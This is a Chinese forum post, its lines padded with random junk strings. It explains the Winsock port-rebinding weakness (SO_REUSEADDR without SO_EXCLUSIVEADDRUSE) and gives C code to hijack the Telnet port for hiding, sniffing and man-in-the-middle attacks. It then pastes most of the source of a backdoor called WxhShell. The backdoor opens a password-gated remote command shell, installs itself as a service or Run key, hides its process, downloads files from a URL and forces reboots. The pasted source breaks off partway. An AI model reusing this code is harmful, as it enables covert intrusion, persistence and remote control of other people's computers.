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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RaU.yCYyu  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cZ!s/^o?f  
WQ5sC[&   
  saddr.sin_family = AF_INET; Q"hI!PO+  
TLSy+x_gX  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); uCu,'F,6Y  
P/I{q s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y9*H  
"{x~j \<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u4<r$[]V  
<,E*,&0W  
  这意味着什么?意味着可以进行如下的攻击: ,#wVqBEk  
4|$D.`Wu  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 68HX,t  
f]'@Vt>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f0D Ch]  
bf74 "  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %C3cdy_c  
 ,g,jY]o  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D+SpSO7yg  
@l(Y6m|v\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <y.D0^68  
MtYP3:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 dJLJh*=AG  
Pj.~|5gnf  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 oba*w;  
^z^>]Qd  
  #include r6$=|Yto  
  #include s{k\1 P(G}  
  #include (t]>=p%4g  
  #include    lXPn]iLJ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ? w?k-v  
  int main() <=inogf  
  { DrEtnt   
  WORD wVersionRequested; (Z$6J Nkz  
  DWORD ret; f oVD+\~Y  
  WSADATA wsaData; P\ s+2/  
  BOOL val; q8h{-^"  
  SOCKADDR_IN saddr; 1ZL_;k  
  SOCKADDR_IN scaddr; 'sF563kE  
  int err; YW{V4yW  
  SOCKET s; rl^LS z  
  SOCKET sc; zrew:5*uZ  
  int caddsize; `az`?`i7  
  HANDLE mt; DXz8C -  
  DWORD tid;   ^d9raYE`'  
  wVersionRequested = MAKEWORD( 2, 2 ); :'dc=C  
  err = WSAStartup( wVersionRequested, &wsaData ); 8e@JvAaa$  
  if ( err != 0 ) { \!QF9dP4  
  printf("error!WSAStartup failed!\n"); :b ;1P@W<  
  return -1; E`4=C@NN+,  
  } 8@aS9 th$  
  saddr.sin_family = AF_INET; J3x7i8  
   v,+l xY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1Kh?JH  
B%@!\ D#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;0!Wd  
  saddr.sin_port = htons(23); VQ?H:1R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ql@yN@V  
  { |<|,RI?  
  printf("error!socket failed!\n"); %gMpV  
  return -1; (YJ AT  
  } 0o|,& K  
  val = TRUE; /V<`L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _Af4ct;ng  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d95N$n   
  { 5SL>q`t.bd  
  printf("error!setsockopt failed!\n"); +@u C:3jM  
  return -1; 3t8H?B12ow  
  } !;*2*WuO;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9BD|uU;0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DsW`V~ T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A]?O& m |  
K2rS[Kdfaq  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j'*p  
  { '>|*j"jv-  
  ret=GetLastError(); z{3%Hq  
  printf("error!bind failed!\n"); a61eH )a  
  return -1; !$xEX,vj|W  
  } CotMV^   
  listen(s,2);  q3-;}+  
  while(1) T:S{3  
  { :z} _y&]  
  caddsize = sizeof(scaddr); inv{dg/2  
  //接受连接请求 ar qLp|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Vc52s+7=8  
  if(sc!=INVALID_SOCKET) mYjiiql~  
  { tbzvO<~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )]b@eGNGj  
  if(mt==NULL) &Y>~^$`J  
  { 'Tf#S@o  
  printf("Thread Creat Failed!\n"); Go+xL/f  
  break; %M)oHX1p  
  } "p~]m~g  
  } KpbZnW}g  
  CloseHandle(mt); SeZT4y*=  
  } -m'3L7:  
  closesocket(s); >H1|c%w  
  WSACleanup(); `/wq3+?  
  return 0; }u3H4S<o  
  }   W#Hv~1  
  DWORD WINAPI ClientThread(LPVOID lpParam) Zn<(,e  
  {  ny  
  SOCKET ss = (SOCKET)lpParam; o9T@uWh+  
  SOCKET sc; }*B qi7E>  
  unsigned char buf[4096]; -l40)^ E}  
  SOCKADDR_IN saddr; J+cAS/MYX  
  long num; #lyM+.T  
  DWORD val; 6& &}P79  
  DWORD ret; ;vI*ThzdD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *m| t =9E  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5v !DYx  
  saddr.sin_family = AF_INET; w `. T/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lC /Hib  
  saddr.sin_port = htons(23); @tE&<[e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w]W`R.  
  { 5!SoN}$  
  printf("error!socket failed!\n"); PQU3s$  
  return -1; W? "2;](  
  } o8};e  
  val = 100; #Cg}!38  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +(=0CA0GE  
  { a+YR5*&[OO  
  ret = GetLastError(); daA47`+d  
  return -1; >/!7i3Ow-  
  } {z5V{M(|w3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wVvqw/j*f  
  { H})Dcg3  
  ret = GetLastError(); -~v l+L  
  return -1; ( Lok  
  } {[M0y*^64$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ba(arGZ+{  
  { >%uAQiU  
  printf("error!socket connect failed!\n"); XD $%  
  closesocket(sc); p@?7^nIR*u  
  closesocket(ss); lgkl? 0!  
  return -1; {h/OnBwG  
  } B\=SAi  
  while(1) qYgwyj=4  
  { zdxT35h  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 18DTv6?QG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 XKz;o^1a^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |eH wp  
  num = recv(ss,buf,4096,0); _'! aj +{  
  if(num>0) JC c N>DtP  
  send(sc,buf,num,0); P &;y] ,)E  
  else if(num==0) T-L|Q,-{-  
  break; wF|0n t  
  num = recv(sc,buf,4096,0); BA~a?"HS  
  if(num>0) 'i@,~[Z4  
  send(ss,buf,num,0); [D*J[?yt  
  else if(num==0) 1%$d D2  
  break; f,St h7y  
  } Q)x?B]b-  
  closesocket(ss); dO>k5!ge|:  
  closesocket(sc); AddGB^7yl  
  return 0 ; 6B7<  
  } rPRrx-A  
>Y7r \  
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========================================================== `^v4zWDK  
8|1`Tn}o  
下边附上一个代码,,WXhSHELL 7cIC&(h5  
 uY.=4l  
========================================================== PV?]UUc'n<  
k/df(cs  
#include "stdafx.h" \n[ 392  
r8IX/ ,  
#include <stdio.h> ykxbX  
#include <string.h> +p13xc?#j  
#include <windows.h> :ar?0  
#include <winsock2.h> d!`lsh@tF  
#include <winsvc.h> #2h+dk$1  
#include <urlmon.h> A:kkCG!~Nf  
HV ;;  
#pragma comment (lib, "Ws2_32.lib") N*~_\x  
#pragma comment (lib, "urlmon.lib") kt :)W])V  
>Z *iE"9"  
#define MAX_USER   100 // 最大客户端连接数 k]Zo-xh4  
#define BUF_SOCK   200 // sock buffer =g@R%NDNV  
#define KEY_BUFF   255 // 输入 buffer 6^Ph '  
ue@8voZhS/  
#define REBOOT     0   // 重启 pFpZbU^  
#define SHUTDOWN   1   // 关机 Hz E1r+3Q@  
lj)f4zu  
#define DEF_PORT   5000 // 监听端口 "ml?7Xl,n  
C*7!dW6  
#define REG_LEN     16   // 注册表键长度 tG/1pW  
#define SVC_LEN     80   // NT服务名长度 z/S,+!|z  
~uB'3`x  
// 从dll定义API So#dJ>   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !6Q`>s]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Yb}w;F8(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tevQW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ` K w7"  
s|Zx(.EP  
// wxhshell配置信息 qbXz7s*{  
struct WSCFG { en>9E.?N  
  int ws_port;         // 监听端口 sAVefL?  
  char ws_passstr[REG_LEN]; // 口令 p'&*r2_ram  
  int ws_autoins;       // 安装标记, 1=yes 0=no MD<-w|#8IV  
  char ws_regname[REG_LEN]; // 注册表键名 =O,JAR"ug  
  char ws_svcname[REG_LEN]; // 服务名 +e'X;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _9NVE|c;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8a9RML}G<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {]^2R>0Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  QsOhz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O6iCZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @rO4y`  
kM!V .e[g  
}; noC?k }M  
L,~MicgV  
// default Wxhshell configuration 6Nt$ZYS  
struct WSCFG wscfg={DEF_PORT, !9r:&n.\  
    "xuhuanlingzhe", fYBH)E  
    1, dv7<AJ  
    "Wxhshell", &x0C4Kh  
    "Wxhshell", PKA }zZ  
            "WxhShell Service", $}R$t-  
    "Wrsky Windows CmdShell Service", 5 lTD]d  
    "Please Input Your Password: ", Q2/.6O8  
  1, %9o+zg? RJ  
  "http://www.wrsky.com/wxhshell.exe", m_* R.a  
  "Wxhshell.exe" LmQ/#Gx  
    }; xQu eE{  
xMI+5b8  
// 消息定义模块 knT.l"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ni6r{eSQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aq Mc6N`z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D|_V<'  
char *msg_ws_ext="\n\rExit."; 5)'P'kVi7.  
char *msg_ws_end="\n\rQuit."; vG Vd  
char *msg_ws_boot="\n\rReboot..."; \DA$6w\\  
char *msg_ws_poff="\n\rShutdown..."; Bf]$X>d  
char *msg_ws_down="\n\rSave to "; ?t rV72D  
@(:v_l  
char *msg_ws_err="\n\rErr!"; Bux'hc  
char *msg_ws_ok="\n\rOK!"; ~|l IC !q  
5]"SGP  
char ExeFile[MAX_PATH]; }B q^3?,#{  
int nUser = 0; = .oHnMX2M  
HANDLE handles[MAX_USER]; dvjTyX  
int OsIsNt; ALGg AX3t  
b2 kWjg.4  
SERVICE_STATUS       serviceStatus; V5"HwN+`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; # |^^K!%  
q0O&UE)6Y  
// 函数声明 ._ CP% R  
int Install(void); zgKY4R{V  
int Uninstall(void); u3ZCT" !  
int DownloadFile(char *sURL, SOCKET wsh); 9"sDm}5%  
int Boot(int flag); ](K0Fwo`;"  
void HideProc(void); #Hu~}zy  
int GetOsVer(void); 2cf' ,cv@8  
int Wxhshell(SOCKET wsl); E \{<;S  
void TalkWithClient(void *cs); [@"wd_f{l  
int CmdShell(SOCKET sock); <]G${y*;  
int StartFromService(void); 'C?NJ~MN  
int StartWxhshell(LPSTR lpCmdLine); o a<q/  
#c Kqnk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &L4 q10-N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ec]|p6a3  
I@ \#up}  
// 数据结构和表定义 ?m;;D'1j  
SERVICE_TABLE_ENTRY DispatchTable[] = vtxvS3   
{ AQ{zx1^2>K  
{wscfg.ws_svcname, NTServiceMain}, oq;'eM1,.  
{NULL, NULL} `UzVS>]l[+  
}; l1+[  
ii4B?E  
// 自我安装 "uD= KlA  
int Install(void) rZwB> c  
{ P $ >`  
  char svExeFile[MAX_PATH]; ?tYpc_p#  
  HKEY key; UAYd?r  
  strcpy(svExeFile,ExeFile); rwqv V ^  
9dKul,c  
// 如果是win9x系统,修改注册表设为自启动 $=aI "(3&  
if(!OsIsNt) { \pY^^ l*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 85]SC$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $v27]"]  
  RegCloseKey(key); TbhH&kG)1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c^.l 2Q!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =-jD~rN4;P  
  RegCloseKey(key); N$alUx*  
  return 0; O/OiQ^T  
    } py<_HyJ  
  } \2X$C#8E  
} F 3RB  
else { s& yk  
=mt?C n}  
// 如果是NT以上系统,安装为系统服务 CjL<RJR=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BzbDZV  
if (schSCManager!=0) ,M6ZZ* ,e  
{ 4j'd3WGpbN  
  SC_HANDLE schService = CreateService ' UMFS  
  ( ]~c+'E`  
  schSCManager, Ruaur]  
  wscfg.ws_svcname, RR|\- 8;  
  wscfg.ws_svcdisp, \54}T 4R  
  SERVICE_ALL_ACCESS, YD[H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pSAR/':eg  
  SERVICE_AUTO_START, HW_& !ye  
  SERVICE_ERROR_NORMAL, R>)MiHcCg  
  svExeFile, 3 <SqoJSp  
  NULL, y] V1b{9p  
  NULL, 'K@0Wp  
  NULL, %|"Qi]c d  
  NULL, "Pc$\zJm;  
  NULL [ygF0-3ND  
  ); +m$5a YX  
  if (schService!=0) #V_GOy1-  
  { m J  
  CloseServiceHandle(schService); e%6{ME 3  
  CloseServiceHandle(schSCManager); $\\lx_)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j, u#K)7{T  
  strcat(svExeFile,wscfg.ws_svcname); )pgrl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `y!/F?o+!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >-cfZ9{!  
  RegCloseKey(key); f~M8A.  
  return 0;  '3 ,\@4  
    } Ex(3D[WmMW  
  } \M+L3*W  
  CloseServiceHandle(schSCManager); xHkxc}h  
} :pC;`iQ  
} 'Cg{_z.~c  
lF4u{B9DM  
return 1;  i g71/'D  
} X>l*v\F9  
G*n2Ii  
// 自我卸载 j$@tK0P  
int Uninstall(void) `rFAZcEj%  
{ mP}#Ccji?  
  HKEY key; Np,2j KF(  
=,/D/v$m'2  
if(!OsIsNt) { #$1$T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4E3g,%9u  
  RegDeleteValue(key,wscfg.ws_regname); l\Ftr_Dk  
  RegCloseKey(key); =!.m GW-Q}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (Wj2?k/]  
  RegDeleteValue(key,wscfg.ws_regname); -G`.y?  
  RegCloseKey(key); Dz&+PES_k  
  return 0; jPJAWXB4a  
  } Fwfo2   
} *y7 $xa4  
} Y94MI1O5$  
else { H%i>L?J2/  
x0+glQrNN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LI W*4r!  
if (schSCManager!=0) PpOlt.yui  
{ 5M){!8"S)#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NoDZ5Z  
  if (schService!=0) 0!#; j{JQ  
  { hx!7w}[A  
  if(DeleteService(schService)!=0) {  tFh|V pB  
  CloseServiceHandle(schService); a39hP*  
  CloseServiceHandle(schSCManager); ijYvqZ_  
  return 0; .ER98  
  } CEtR[Cu  
  CloseServiceHandle(schService); 0D [@u3W  
  } By((,QpB  
  CloseServiceHandle(schSCManager); q-AN[_@  
} Ot9V< D6h  
} f(:1yl\a  
3N4.$#>#9@  
return 1; ([k7hUP  
} +x1/-J8_sg  
0|Uc d  
// 从指定url下载文件 $99R|^  
int DownloadFile(char *sURL, SOCKET wsh) ?d-70pm  
{ JLm @Ag  
  HRESULT hr; "4 k-dj  
char seps[]= "/"; ?]!vRmZ;  
char *token; .iv3q?8.b  
char *file; A WJWtUa  
char myURL[MAX_PATH]; {d!Y3+I%G  
char myFILE[MAX_PATH]; IgX4.]W5  
At9X]t  
strcpy(myURL,sURL); K0fv( !r{  
  token=strtok(myURL,seps); ;VzMU ;j  
  while(token!=NULL) +Ui_ O  
  { |nxdB&1n  
    file=token; 5 2Hqu>  
  token=strtok(NULL,seps); v\A.Tyy  
  } Y1\K;;X  
{B{i(6C(  
GetCurrentDirectory(MAX_PATH,myFILE); j\2[H^   
strcat(myFILE, "\\"); n[" 9|  
strcat(myFILE, file); []}N  
  send(wsh,myFILE,strlen(myFILE),0); y-+G wa3  
send(wsh,"...",3,0); @$U e$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vDE |sT  
  if(hr==S_OK) ZK dh%8C  
return 0; Sb"2Im>  
else &Ocu#Cb  
return 1; J!p<oW)a!  
u-><}OVf~  
} TOT PzB  
S/Oxr%H  
// 系统电源模块 \< 65??P  
int Boot(int flag) >FFVY{F  
{ XB/'u39  
  HANDLE hToken; /lH'hcXcX  
  TOKEN_PRIVILEGES tkp; pj|X]4?wdI  
 ;}4k{{K  
  if(OsIsNt) { L;)v&a7[P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jD9lz-Y@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uxDLDA$;  
    tkp.PrivilegeCount = 1; a$}6:E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #PAU'u 3{/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (!</%^ZI  
if(flag==REBOOT) { -Ktwo_ V*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0m=(W^c  
  return 0; uiMIz?+  
} p;->hn~D'5  
else { 5gK~('9'?1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nCaLdj?  
  return 0; 5*j:K&R-.K  
} kL;t8{n  
  } {ymb\$f  
  else { r{ @ `o@q  
if(flag==REBOOT) { (%DRt4u <H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HdCk!Fv  
  return 0; !0jq6[&  
} n;OHH{E{  
else { ScJu_A f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [W(Y3yyY  
  return 0; K&S@F!#g  
} S0xIvzS  
} x# 8IZ  
h48 bb.p2  
return 1; E .;io*0  
} F#1kZ@nq  
yN:>!SQ  
// win9x进程隐藏模块 </ZHa:=7  
void HideProc(void) 2"M_sL  
{ .^H1\p];Lw  
@ ;J|xkJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #313 (PWH  
  if ( hKernel != NULL ) JtmQzr0>  
  { ?>?ZAr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^[TOZXL`:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *k6$   
    FreeLibrary(hKernel); (Y;'[.  
  } P>W8V+l![  
i'HST|!j  
return; *vs~SzF$  
} #pa\ 2d|  
8S=c^_PJ  
// 获取操作系统版本 e7|d=W  
int GetOsVer(void) sZm^&h;  
{ *a4 b  
  OSVERSIONINFO winfo; :SeLkQC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uXNp!t Y  
  GetVersionEx(&winfo); 4K #^dJnC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .~,^u  
  return 1; V=9Bto00  
  else }wL3mVz  
  return 0; ?>TbT fmR  
} Gx|Dql  
Sy B-iQn  
// 客户端句柄模块 ._(z~3s  
int Wxhshell(SOCKET wsl) 3G(skphE  
{ >I:9'"`  
  SOCKET wsh; HnK/A0jM  
  struct sockaddr_in client; dw99FA6  
  DWORD myID; !Iko0#4i  
v1K4$&{F  
  while(nUser<MAX_USER) .m'N7`VB  
{ c8\g"T  
  int nSize=sizeof(client); %Fm`Y .l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QvNi8TB  
  if(wsh==INVALID_SOCKET) return 1; 1Kc{#+a^  
q8tug=c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Xr)g  
if(handles[nUser]==0) W7]mfy^  
  closesocket(wsh); i59k"pNm  
else U)b &zZc;  
  nUser++; T/ Ez*iQW  
  } : n`0)g[(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b@F_7P%  
KK .cDAR  
  return 0; s9kTuhoK  
} wEv*1y4  
rl41# 6  
// 关闭 socket a6 * Y%?  
void CloseIt(SOCKET wsh) {cX7<7N  
{ B8>FCF&}E  
closesocket(wsh); WT1q15U(=  
nUser--; *IVD/9/  
ExitThread(0); XSls]o s  
} -MsuBf  
"SDsISWd  
// 客户端请求句柄 AF QnCl Of  
void TalkWithClient(void *cs) Q!Msy<v  
{ R+x%r&L5F  
'> 4+WZ1w5  
  SOCKET wsh=(SOCKET)cs; +-",2 d+g  
  char pwd[SVC_LEN]; :az!H"4W/  
  char cmd[KEY_BUFF]; xQZ MCd  
char chr[1]; F ^[M  
int i,j; ^>t-v  
YU*46 hA1B  
  while (nUser < MAX_USER) { r)(i{:@r`  
X%*brl$D  
if(wscfg.ws_passstr) {  S/)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ho:}Bn g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <w%Yq?^  
  //ZeroMemory(pwd,KEY_BUFF); sCL/pb]  
      i=0; Yoj~|qL  
  while(i<SVC_LEN) { >^sz5d+X  
aB7d(  
  // 设置超时 _TV2)  
  fd_set FdRead; upZYv~Sa  
  struct timeval TimeOut; / *O u$  
  FD_ZERO(&FdRead); 0  %C!`7  
  FD_SET(wsh,&FdRead); |ORmS& 7  
  TimeOut.tv_sec=8; v] W1F,u  
  TimeOut.tv_usec=0; ~x9 W{B]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [%7IQ4`{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 60(}_%  
F9ZOSL 8Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P] {B^,E  
  pwd=chr[0]; z[_R"+   
  if(chr[0]==0xd || chr[0]==0xa) { s= 3EBh  
  pwd=0; 'JJ1#kKa  
  break; z2"2tFK  
  } W8\PCXnsfl  
  i++; 3T Yo  
    } xuw//F  
<x.]OZgO  
  // 如果是非法用户,关闭 socket EXv\FUzo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _ +0uju?o}  
} eimA *0Cq  
pqRO[XEp2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v GulM<YY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VGkW3Nt0  
Xd90n>4S  
while(1) { =<Zwv\U  
>MBn2(\B;  
  ZeroMemory(cmd,KEY_BUFF); uKaf{=*  
*8pe<:A#p  
      // 自动支持客户端 telnet标准   =k[(rvU3  
  j=0; ]Hv*^Bak  
  while(j<KEY_BUFF) { rjhs ?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ./aZV  
  cmd[j]=chr[0]; dw=Xjyk?h  
  if(chr[0]==0xa || chr[0]==0xd) { ft*G*.0kO  
  cmd[j]=0; >' BU*  
  break; sPZV>Q:zY  
  } 'd~, o[x  
  j++; 2_B;  
    } PprQq_j  
/zDSlj<c  
  // 下载文件 S5YDS|K  
  if(strstr(cmd,"http://")) { A`+(VzZgJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0KNH=;d}  
  if(DownloadFile(cmd,wsh)) Sm~? zU[k/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t*ri`}a{v  
  else |hZ|+7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;[;S_|vZ=)  
  } FRs|!\S=  
  else { +c~O0U1  
2J>A;x_?  
    switch(cmd[0]) { >=]NO'?O  
  \&l*e  
  // 帮助 xKkVSEup  
  case '?': { KU 8Cl>5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ; HR\R  
    break; CU} q&6h  
  } [hvig$L  
  // 安装 &</ @0  
  case 'i': { C {H'  
    if(Install()) tZ*f~yW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q=j/s4~  
    else /3"e3{u y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gFH;bZU  
    break; _bvtJZ3i  
    } L?/M2zc9Y  
  // 卸载 }]Z,\lA  
  case 'r': { 'J&@jp  
    if(Uninstall()) cfO^CC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UJyiRP:#]>  
    else b5iJ m-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SOi(5]  
    break; ~ 33@H  
    } k(w9vt0?  
  // 显示 wxhshell 所在路径 RvgAI`T7$  
  case 'p': { =*U%j  
    char svExeFile[MAX_PATH]; mF$jC:Tb  
    strcpy(svExeFile,"\n\r"); lD+y, ";  
      strcat(svExeFile,ExeFile); BGk<NEzH  
        send(wsh,svExeFile,strlen(svExeFile),0); 2EI m  
    break; 1)c=15^  
    } Vq;{+j(  
  // 重启 N5I W@?4  
  case 'b': { B@~eBU,$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); - KoA[UJ  
    if(Boot(REBOOT)) o<eWg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x]jdx#'  
    else { VS@rM<K{  
    closesocket(wsh); 85d7IB{28  
    ExitThread(0); hPCSLJ  
    } z|4@nqqX  
    break; >GF(.:7  
    } tz \:r>3vI  
  // 关机 HS|g   
  case 'd': { P\G C8KV]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  q;He:vX  
    if(Boot(SHUTDOWN)) i}&mz~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P.2.Ge|  
    else { 28ov+s~1+-  
